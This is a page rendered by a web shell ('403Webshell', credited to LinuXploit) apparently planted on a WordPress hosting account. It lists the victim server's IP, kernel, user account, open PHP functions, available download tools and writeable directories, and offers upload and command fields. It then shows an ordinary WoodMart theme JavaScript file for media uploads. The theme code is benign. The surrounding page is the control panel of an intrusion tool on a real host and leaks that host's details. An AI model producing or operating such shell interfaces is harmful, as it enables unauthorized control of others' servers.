403Webshell
Server IP : 162.0.217.223  /  Your IP : 216.73.216.168
Web Server : LiteSpeed
System : Linux premium269.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : mypckeys ( 1539)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/mypckeys/www/wp-content/themes/woodmart/inc/admin/assets/js/vc-fields/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mypckeys/www/wp-content/themes/woodmart/inc/admin/assets/js/vc-fields/upload.js
(function($) {
	var $panel = $('#vc_ui-panel-edit-element');

	$panel.on('vcPanel.shown', function() {
		$panel.on('click', '.xts-upload-btn', function(e) {
			e.preventDefault();

			var $uploadButton = $(this);
			var $removeButton = $uploadButton.siblings('.xts-remove-upload-btn');
			var $input = $uploadButton.siblings('.xts-upload-input-id');
			var settings = $input.data('settings');
			var $preview = $uploadButton.parents('.xts-upload-btns').siblings('.xts-upload-preview');
			var type = 'all';
			var id = $uploadButton.data('id');

			if ( 'undefined' !== typeof settings.attachment_type ) {
				type = settings.attachment_type;
			}

			if ( 'undefined' !== typeof wp.media.frames.wd_upload && 'undefined' !== typeof wp.media.frames.wd_upload[id] ) {
				wp.media.frames.wd_upload[id].open();

				return;
			}

			wp.media.frames.wd_upload = {
				[id] : wp.media({
					multiple: false, // for multiple image selection set
					library: {
						type: 'all' !== type ? type : ''
					}
				})
			};

			wp.media.frames.wd_upload[id].on('open', function () {
				var selection = wp.media.frames.wd_upload[id].state().get('selection');
				var imageID = $input.val();

				if ( ! imageID ) {
					return;
				}

				var attachment = wp.media.attachment(imageID);
				attachment.fetch();
				selection.add( attachment ? [ attachment ] : [] );
			});

			wp.media.frames.wd_upload[id].on('select', function() { // it also has "open" and "close" events
				var attachment = wp.media.frames.wd_upload[id].state().get('selection').first().toJSON();
				$input.val(attachment.id).trigger('change');
				$removeButton.addClass('xts-active');
				$preview.text(attachment.filename)
			}).open();
		});

		$panel.on('click', '.xts-remove-upload-btn', function(e) {
			e.preventDefault();

			var $removeButton = $(this);
			var $uploadButton = $removeButton.siblings('..xts-upload-btn');
			var buttonId = $uploadButton.data('id');
			var $input = $removeButton.siblings('.xts-upload-input-id');

			if ( 'undefined' !== typeof wp.media.frames.wd_upload && 'undefined' !== typeof wp.media.frames.wd_upload[buttonId] ) {
				var selection = wp.media.frames.wd_upload[buttonId].state().get('selection');

				selection.add([]);
			}

			$input.val('');
			$removeButton.parents('.xts-upload-btns').siblings('.xts-upload-preview').text('');
			$removeButton.removeClass('xts-active');
		});
	});
})(jQuery);

Youez - 2016 - github.com/yon3zu
LinuXploit